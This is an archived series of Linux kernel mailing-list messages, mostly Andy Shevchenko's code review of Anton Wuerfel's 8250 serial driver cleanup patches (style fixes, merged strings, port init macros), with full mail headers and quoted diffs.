X-Trace: ger.gmane.org 1452705096 30025 80.91.229.3 (13 Jan 2016 17:11:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 17:11:36 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffeck@fau.de>
To: Anton Wuerfel <anton.wuerfel@fau.de>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 13 18:11:32 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJOxI-0007YL-34
	for glk-linux-kernel-3@plane.gmane.org; Wed, 13 Jan 2016 18:11:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755149AbcAMRLV convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 13 Jan 2016 12:11:21 -0500
Original-Received: from mga09.intel.com ([134.134.136.24]:1926 "EHLO mga09.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754387AbcAMRJs (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Wed, 13 Jan 2016 12:09:48 -0500
Original-Received: from orsmga002.jf.intel.com ([10.7.209.21])
  by orsmga102.jf.intel.com with ESMTP; 13 Jan 2016 09:09:39 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.22,290,1449561600"; 
   d="scan'208";a="889791405"
Original-Received: from smile.fi.intel.com (HELO smile) ([10.237.72.86])
  by orsmga002.jf.intel.com with ESMTP; 13 Jan 2016 09:09:34 -0800
In-Reply-To: <1452703171-5632-6-git-send-email-anton.wuerfel@fau.de>
X-Mailer: Evolution 3.18.3-1 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126058 gmane.linux.ports.parisc:26374
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126058>

On Wed, 2016-01-13 at 17:39 +0100, Anton Wuerfel wrote:
> This patch fixes checkpatch warnings about unnecessary else blocks
> after
> return statements.
>=20

> @@ -816,12 +816,11 @@ static int pci_netmos_9900_numports(struct
> pci_dev *dev)
> =C2=A0		=C2=A0* advertising the same function 3 as the 4s+2s1p
> config.
> =C2=A0		=C2=A0*/
> =C2=A0		sub_serports =3D dev->subsystem_device & 0xf;
> -		if (sub_serports > 0) {
> +		if (sub_serports > 0)
> =C2=A0			return sub_serports;
> -		} else {
> -			dev_err(&dev->dev, "NetMos/Mostech serial
> driver ignoring port on ambiguous config.\n");
> -			return 0;
> -		}
> +
> +		dev_err(&dev->dev, "NetMos/Mostech serial driver
> ignoring port on ambiguous config.\n");

Here you may put the literal on the next line and indent it properly to
&. It might not fit the 80 character limit, but I think still worth to
do.

--=20
Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Intel Finland Oy



From - Thu Nov 08 21:38:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v5 09/15] tty: serial: 8250: Fix multi-line strings
Date: Wed, 13 Jan 2016 19:08:58 +0200
Organization: Intel Finland Oy
Lines: 51
Approved: news@gmane.org
Message-ID: <1452704938.26146.76.camel@linux.intel.com>
References: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
	 <1452703171-5632-10-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452705126 30359 80.91.229.3 (13 Jan 2016 17:12:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 17:12:06 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffeck@fau.de>
To: Anton Wuerfel <anton.wuerfel@fau.de>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 13 18:12:01 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aJOxe-0007nY-Pc
	for glpp-linux-parisc@plane.gmane.org; Wed, 13 Jan 2016 18:11:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755341AbcAMRLx convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 13 Jan 2016 12:11:53 -0500
Original-Received: from mga02.intel.com ([134.134.136.20]:13519 "EHLO mga02.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755090AbcAMRLx (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 13 Jan 2016 12:11:53 -0500
Original-Received: from fmsmga003.fm.intel.com ([10.253.24.29])
  by orsmga101.jf.intel.com with ESMTP; 13 Jan 2016 09:11:52 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.22,290,1449561600"; 
   d="scan'208";a="632885244"
Original-Received: from smile.fi.intel.com (HELO smile) ([10.237.72.86])
  by FMSMGA003.fm.intel.com with ESMTP; 13 Jan 2016 09:11:47 -0800
In-Reply-To: <1452703171-5632-10-git-send-email-anton.wuerfel@fau.de>
X-Mailer: Evolution 3.18.3-1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26375 gmane.linux.kernel:2126059
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26375>

On Wed, 2016-01-13 at 17:39 +0100, Anton Wuerfel wrote:
> Merged user-visible multi-line strings into a single line according
> to the
> Linux Kernel Coding Style, which allows user-visible strings to
> exceed the
> maximum line length of 80 characters. The main reason for this is to
> facilitate grepping for these strings.
> However, some strings were ignored in this patch, because the use of
> format specifiers breaks the ability to grep anyway.
>=20

> --- a/drivers/tty/serial/8250/8250_core.c
> +++ b/drivers/tty/serial/8250/8250_core.c
> @@ -1173,8 +1173,7 @@ MODULE_LICENSE("GPL");
> =C2=A0MODULE_DESCRIPTION("Generic 8250/16x50 serial driver");
> =C2=A0
> =C2=A0module_param(share_irqs, uint, 0644);
> -MODULE_PARM_DESC(share_irqs, "Share IRQs with other non-8250/16x50
> devices"
> -	" (unsafe)");
> +MODULE_PARM_DESC(share_irqs, "Share IRQs with other non-8250/16x50
> devices (unsafe)");

This one looks nice in one line.

> --- a/drivers/tty/serial/8250/serial_cs.c
> +++ b/drivers/tty/serial/8250/serial_cs.c
> @@ -533,8 +533,7 @@ static int multi_config(struct pcmcia_device
> *link)
> =C2=A0		info->multi =3D 2;
> =C2=A0		if (pcmcia_loop_config(link,
> multi_config_check_notpicky,
> =C2=A0				=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0&base2)) {
> -			dev_warn(&link->dev, "no usable port range "
> -			=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0"found, giving up\n");
> +			dev_warn(&link->dev, "no usable port range
> found, giving up\n");

But here I would comment as in patch 5, i.e. move literal to next line
it it doesn't fit on the dev_warn() line.

--=20
Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Intel Finland Oy

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v5 14/15] tty: serial: 8250: Add generic port init macro
Date: Wed, 13 Jan 2016 19:22:14 +0200
Organization: Intel Finland Oy
Lines: 22
Approved: news@gmane.org
Message-ID: <1452705734.2521.0.camel@linux.intel.com>
References: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
	 <1452703171-5632-15-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452705729 9871 80.91.229.3 (13 Jan 2016 17:22:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 17:22:09 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffeck@fau.de>
To: Anton Wuerfel <anton.wuerfel@fau.de>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 13 18:22:06 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aJP7U-0005kP-TF
	for glpp-linux-parisc@plane.gmane.org; Wed, 13 Jan 2016 18:22:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755409AbcAMRWE convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 13 Jan 2016 12:22:04 -0500
Original-Received: from mga03.intel.com ([134.134.136.65]:25637 "EHLO mga03.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755092AbcAMRWC (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 13 Jan 2016 12:22:02 -0500
Original-Received: from fmsmga003.fm.intel.com ([10.253.24.29])
  by orsmga103.jf.intel.com with ESMTP; 13 Jan 2016 09:21:51 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.22,290,1449561600"; 
   d="scan'208";a="632889259"
Original-Received: from smile.fi.intel.com (HELO smile) ([10.237.72.86])
  by FMSMGA003.fm.intel.com with ESMTP; 13 Jan 2016 09:21:45 -0800
In-Reply-To: <1452703171-5632-15-git-send-email-anton.wuerfel@fau.de>
X-Mailer: Evolution 3.18.3-1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26376 gmane.linux.kernel:2126073
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26376>

On Wed, 2016-01-13 at 17:39 +0100, Anton Wuerfel wrote:
> This patch removes redundant 8250 port initialization macros and
> replaces them by a single generic base-macro, which is specialized
> as needed.

Perhaps you forgot.
Suggested-by: Andy Shevchenko <andriy.shevchenko@linux.intel.com>

> Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
> Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
> Cc: linux-kernel@i4.cs.fau.de

--=20
Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Intel Finland Oy

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Anton Wuerfel" <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v5 14/15] tty: serial: 8250: Add generic port init macro
Date: Wed, 13 Jan 2016 18:25:26 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <b8289bde414e3a671306c1076cda182e.squirrel@faumail.uni-erlangen.de>
References: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
    <1452703171-5632-15-git-send-email-anton.wuerfel@fau.de>
    <1452705734.2521.0.camel@linux.intel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1452705948 14619 80.91.229.3 (13 Jan 2016 17:25:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 17:25:48 +0000 (UTC)
Cc: "Anton Wuerfel" <anton.wuerfel@fau.de>,
	"Greg Kroah-Hartman" <gregkh@linuxfoundation.org>,
	"Jiri Slaby" <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	"Helge Deller" <deller@gmx.de>,
	"Peter Hurley" <peter@hurleysoftware.com>,
	"Heikki Krogerus" <heikki.krogerus@linux.intel.com>,
	"Qipeng Zha" <qipeng.zha@intel.com>,
	"Desmond Liu" <desmondl@broadcom.com>,
	"Wang Long" <long.wanglong@huawei.com>,
	"Matt Redfearn" <matt.redfearn@imgtec.com>,
	"Paul Burton" <paul.burton@imgtec.com>,
	"Ralf Baechle" <ralf@linux-mips.org>,
	"Krzysztof Kozlowski" <k.kozlowski@samsung.com>,
	"Peter Hung" <hpeter@gmail.com>,
	"Soeren Grunewald" <soeren.grunewald@desy.de>,
	"Adam Lee" <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	"Mans Rullgard" <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
To: "Andy Shevchenko" <andriy.shevchenko@linux.intel.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 13 18:25:30 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aJPAo-0007hY-6O
	for glpp-linux-parisc@plane.gmane.org; Wed, 13 Jan 2016 18:25:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754834AbcAMRZ3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 13 Jan 2016 12:25:29 -0500
Original-Received: from mx-rz-1.rrze.uni-erlangen.de ([131.188.11.20]:48087 "EHLO
	mx-rz-1.rrze.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754425AbcAMRZ2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 13 Jan 2016 12:25:28 -0500
Original-Received: from boeck2.rrze.uni-erlangen.de (boeck2.rrze.uni-erlangen.de [131.188.11.32])
	by mx-rz-1.rrze.uni-erlangen.de (Postfix) with ESMTP id 3pgbJR1wjBzKTPg;
	Wed, 13 Jan 2016 18:25:27 +0100 (CET)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fau.de; s=fau-2013;
	t=1452705927; bh=xagBF1itDj4r1oro59Tc/YTMHC7aBgau6KPjCQtH6ZQ=;
	h=In-Reply-To:References:Date:Subject:From:To:Cc:From;
	b=XVp0WsJ5dkkZ0ewV1VJRgbs/BSoXmMz+DLV3OpN95xsFeOIVXOrTky/+4U3+Au1pP
	 7LO4Dw22zrni/gue1+dEPQUqaILHUDTTqnqB1nLh7VbLD1S+EaKy9Upu+WndJpoqUS
	 riaYNWHPeB4oRIpAgNhNNF9tMIWmFnWp46ZOsImuC1MA5tgTs09I4VFNuP/JmphIyC
	 cE+xMvTOAt9WNkdUJLspeBzlZozLF16uBKrGbNQaH71ldwOobpHV6zyxSqOZ17jZb4
	 iFGo+nlw3Fi/cojUm0fRoW9auDbeaNnAYOWHTtgXHm1qxApxSoY3HALXgUzKJm7Njl
	 hV2f79FCM8awg==
X-Virus-Scanned: amavisd-new at boeck2.rrze.uni-erlangen.de (RRZE)
Original-Received: from mx-rz-1.rrze.uni-erlangen.de ([131.188.11.20])
	by boeck2.rrze.uni-erlangen.de (boeck2.rrze.uni-erlangen.de [131.188.11.32]) (amavisd-new, port 10026)
	with LMTP id B-6qXFbRjsZY; Wed, 13 Jan 2016 18:25:26 +0100 (CET)
Original-Received: from mx-rz-smart.rrze.uni-erlangen.de (mx-rz-smart.rrze.uni-erlangen.de [IPv6:2001:638:a000:1025::1e])
	by mx-rz-1.rrze.uni-erlangen.de (Postfix) with ESMTP id 3pgbJQ30NyzKTPh;
	Wed, 13 Jan 2016 18:25:26 +0100 (CET)
X-RRZE-Submit-IP: 131.188.11.38
Original-Received: from faumail.uni-erlangen.de (smtp.fau.de [131.188.11.38])
	by smtp.uni-erlangen.de (Postfix) with ESMTP id 3pgbJQ1cF5zHsBZ;
	Wed, 13 Jan 2016 18:25:26 +0100 (CET)
Original-Received: from 131.188.42.190
        by faumail.uni-erlangen.de with HTTP;
        Wed, 13 Jan 2016 18:25:26 +0100
In-Reply-To: <1452705734.2521.0.camel@linux.intel.com>
User-Agent: SquirrelMail/1.4.23 [SVN]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26377 gmane.linux.kernel:2126076
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26377>

> On Wed, 2016-01-13 at 17:39 +0100, Anton Wuerfel wrote:
>> This patch removes redundant 8250 port initialization macros and
>> replaces them by a single generic base-macro, which is specialized
>> as needed.
>
> Perhaps you forgot.
> Suggested-by: Andy Shevchenko <andriy.shevchenko@linux.intel.com>

Sorry, we did not even know that this tag existed. We will add this in our
next patch series.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH v5 15/15] tty: serial: 8250: Merge duplicate conditions
Date: Wed, 13 Jan 2016 19:28:39 +0200
Organization: Intel Finland Oy
Lines: 49
Approved: news@gmane.org
Message-ID: <1452706119.2521.3.camel@linux.intel.com>
References: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
	 <1452703171-5632-16-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452706244 20789 80.91.229.3 (13 Jan 2016 17:30:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 17:30:44 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffeck@fau.de>
To: Anton Wuerfel <anton.wuerfel@fau.de>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 13 18:30:40 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJPFo-0002YV-5u
	for glk-linux-kernel-3@plane.gmane.org; Wed, 13 Jan 2016 18:30:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755649AbcAMRad convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 13 Jan 2016 12:30:33 -0500
Original-Received: from mga11.intel.com ([192.55.52.93]:18650 "EHLO mga11.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755603AbcAMRaY (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Wed, 13 Jan 2016 12:30:24 -0500
Original-Received: from fmsmga003.fm.intel.com ([10.253.24.29])
  by fmsmga102.fm.intel.com with ESMTP; 13 Jan 2016 09:30:24 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.22,290,1449561600"; 
   d="scan'208";a="632893322"
Original-Received: from smile.fi.intel.com (HELO smile) ([10.237.72.86])
  by FMSMGA003.fm.intel.com with ESMTP; 13 Jan 2016 09:30:18 -0800
In-Reply-To: <1452703171-5632-16-git-send-email-anton.wuerfel@fau.de>
X-Mailer: Evolution 3.18.3-1 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126083 gmane.linux.ports.parisc:26378
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126083>

On Wed, 2016-01-13 at 17:39 +0100, Anton Wuerfel wrote:
> This patch refactors a switch case statement by merging an if
> condition
> in the default case into an identical condition right after the
> switch
> statement.
> This comes with a slight change in behaviour: If
> pci_netmos_9900_numports
> returns 0, an additional warning is printed.
>=20

+ Suggested-by:

And I would recommend to put this patch before #13 in the series.

> Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
> Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
> Cc: linux-kernel@i4.cs.fau.de
> ---
> =C2=A0drivers/tty/serial/8250/8250_pci.c | 4 +++-
> =C2=A01 file changed, 3 insertions(+), 1 deletion(-)
>=20
> diff --git a/drivers/tty/serial/8250/8250_pci.c
> b/drivers/tty/serial/8250/8250_pci.c
> index 1dd607f..50ab301 100644
> --- a/drivers/tty/serial/8250/8250_pci.c
> +++ b/drivers/tty/serial/8250/8250_pci.c
> @@ -854,8 +854,10 @@ static int pci_netmos_init(struct pci_dev *dev)
> =C2=A0		}
> =C2=A0	}
> =C2=A0
> -	if (num_serial =3D=3D 0)
> +	if (num_serial =3D=3D 0) {
> +		moan_device("unknown NetMos/Mostech device", dev);
> =C2=A0		return -ENODEV;
> +	}

Yep!
However, you forgot to fix switch-case as well.

> =C2=A0
> =C2=A0	return num_serial;
> =C2=A0}

--=20
Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Intel Finland Oy



From - Thu Nov 08 21:38:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH v5 14/15] tty: serial: 8250: Add generic port init macro
Date: Wed, 13 Jan 2016 19:30:57 +0200
Organization: Intel Finland Oy
Lines: 25
Approved: news@gmane.org
Message-ID: <1452706257.2521.6.camel@linux.intel.com>
References: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
	 <1452703171-5632-15-git-send-email-anton.wuerfel@fau.de>
	 <1452705734.2521.0.camel@linux.intel.com>
	 <b8289bde414e3a671306c1076cda182e.squirrel@faumail.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452706261 21034 80.91.229.3 (13 Jan 2016 17:31:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 17:31:01 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffeck@fau.de>
To: Anton Wuerfel <anton.wuerfel@fau.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 13 18:30:58 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJPG3-0002jl-PW
	for glk-linux-kernel-3@plane.gmane.org; Wed, 13 Jan 2016 18:30:56 +0100
